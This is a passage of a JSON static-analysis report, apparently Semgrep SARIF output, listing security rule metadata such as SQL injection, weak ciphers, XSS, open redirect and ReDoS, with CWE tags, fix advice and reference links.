[https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","id":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","name":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"help":{"markdown":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://nginx.org/en/docs/http/configuring_https_servers.html](https://nginx.org/en/docs/http/configuring_https_servers.html)\n","text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version","id":"generic.nginx.security.missing-ssl-version.missing-ssl-version","name":"generic.nginx.security.missing-ssl-version.missing-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-ssl-version.missing-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","id":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","name":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection","id":"python.flask.security.injection.nan-injection.nan-injection","name":"python.flask.security.injection.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"help":{"markdown":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"help":{"markdown":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator)\n - [https://laravel.com/docs/9.x/validation#rule-unique](https://laravel.com/docs/9.x/validation#rule-unique)\n","text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","id":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","name":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask","id":"python.flask.db.aiosqlite-flask.aiosqlite-flask","name":"python.flask.db.aiosqlite-flask.aiosqlite-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.aiosqlite-flask.aiosqlite-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected","id":"python.lang.security.audit.eval-detected.eval-detected","name":"python.lang.security.audit.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"help":{"markdown":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","id":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","name":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","id":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","name":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"help":{"markdown":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)\n - [https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback](https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback)\n - [https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/](https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/)\n - [https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html](https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html)\n","text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat","id":"javascript.lang.security.audit.code-string-concat.code-string-concat","name":"javascript.lang.security.audit.code-string-concat.code-string-concat","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.code-string-concat.code-string-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect","id":"java.micronaut.redirect.open-redirect.open-redirect","name":"java.micronaut.redirect.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.redirect.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","id":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","name":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"help":{"markdown":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter)\n - [https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html)\n","text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","id":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","name":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsCss](https://docs.angularjs.org/api/ng/service/$sce#trustAsCss)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","id":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","name":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml](https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","id":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","name":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File creation in shared tmp directory without using ioutil.Tempfile"},"help":{"markdown":"File creation in shared tmp directory without using ioutil.Tempfile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File creation in shared tmp directory without using ioutil.Tempfile"},"helpUri":"https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation","id":"go.lang.security.bad_tmp.bad-tmp-file-creation","name":"go.lang.security.bad_tmp.bad-tmp-file-creation","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.bad_tmp.bad-tmp-file-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n 